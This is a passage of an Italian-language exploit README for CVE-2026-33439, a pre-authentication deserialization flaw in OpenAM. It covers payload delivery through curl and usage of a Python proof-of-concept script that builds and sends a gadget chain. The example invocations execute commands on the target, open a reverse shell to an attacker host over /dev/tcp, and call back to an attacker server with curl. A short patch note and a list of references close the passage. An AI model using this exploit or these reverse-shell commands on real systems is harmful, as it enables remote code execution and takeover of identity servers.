curl -sk -G "http://openam.lab.local:8080/openam/ui/PWResetUserValidation" --data-urlencode "jato.clientSession=${PAYLOAD}" | grep "jato."

Uso dello strumento PoC

Lo script Python automatizza l'intera catena: compila EvilTranslet, costruisce la catena di gadget tramite PayloadBuilder, codifica con URL-safe base64 e consegna.

---```bash

Copy JARs to the exploit directory first

[attacker@lab /work]$

touch Exploit_CVE_2026_33439.py

vi Exploit_CVE_2026_33439.py

python3 Exploit_CVE_2026_33439.py --help

python3 Exploit_CVE_2026_33439.py --url http://openam.lab.local:8080/openam --command "touch /tmp/pwned"

python3 Exploit_CVE_2026_33439.py --url http://openam.lab.local:8080/openam --command "bash -i >& /dev/tcp/attacker/4444 0>&1"

python3 Exploit_CVE_2026_33439.py --url http://openam.lab.local:8080/openam --command "bash -i >& /dev/tcp/attacker/4444 0>&1" --jars Jars/

python3 Exploit_CVE_2026_33439.py --url http://openam.lab.local:8080/openam --command "curl http://attacker:9999/pwned" --proxy http://127.0.0.1:8080

root@kitploit:~
---
---
---



<div id="mitigation"/>

## ***🛡️ Mitigazione***

- **Patch:** Aggiorna a **OpenAM 16.0.6** o versioni successive. La correzione estende WhitelistObjectInputStream a ClientSession.deserializeAttributes(), in linea con la protezione già applicata a ConsoleViewBeanBase.deserializePageAttributes() dopo CVE-2021-35464.



---
---
---



<div id="references"/>

## ***📚 Riferimenti***

- **[CVE-2026-33439 - NVD](https://nvd.nist.gov/vuln/detail/CVE-2026-33439)**
> Voce del National Vulnerability Database per CVE-2026-33439.

- **[GitHub Security Advisory GHSA-2cqq-rpvq-g5qj](https://github.com/OpenIdentityPlatform/OpenAM/security/advisories/GHSA-2cqq-rpvq-g5qj)**
> Advisory ufficiale con analisi della causa principale, codice interessato e dettagli sulla catena di gadget.

- **[CVE-2021-35464 - ForgeRock AM Pre-Auth RCE](https://nvd.nist.gov/vuln/detail/CVE-2021-35464)**
> La vulnerabilità progenitrice che ha introdotto WhitelistObjectInputStream per jato.pageSession.

- **[Pre-Auth RCE in ForgeRock OpenAM - PortSwigger Research](https://portswigger.net/research/pre-auth-rce-in-forgerock-openam-cve-2021-35464)**
> Ricerca originale su CVE-2021-35464 che descrive il meccanismo di deserializzazione JATO.

- **[CWE-502 - Deserialization of Untrusted Data](https://cwe.mitre.org/data/definitions/502.html)**
> Voce MITRE CWE che descrive la classe di vulnerabilità.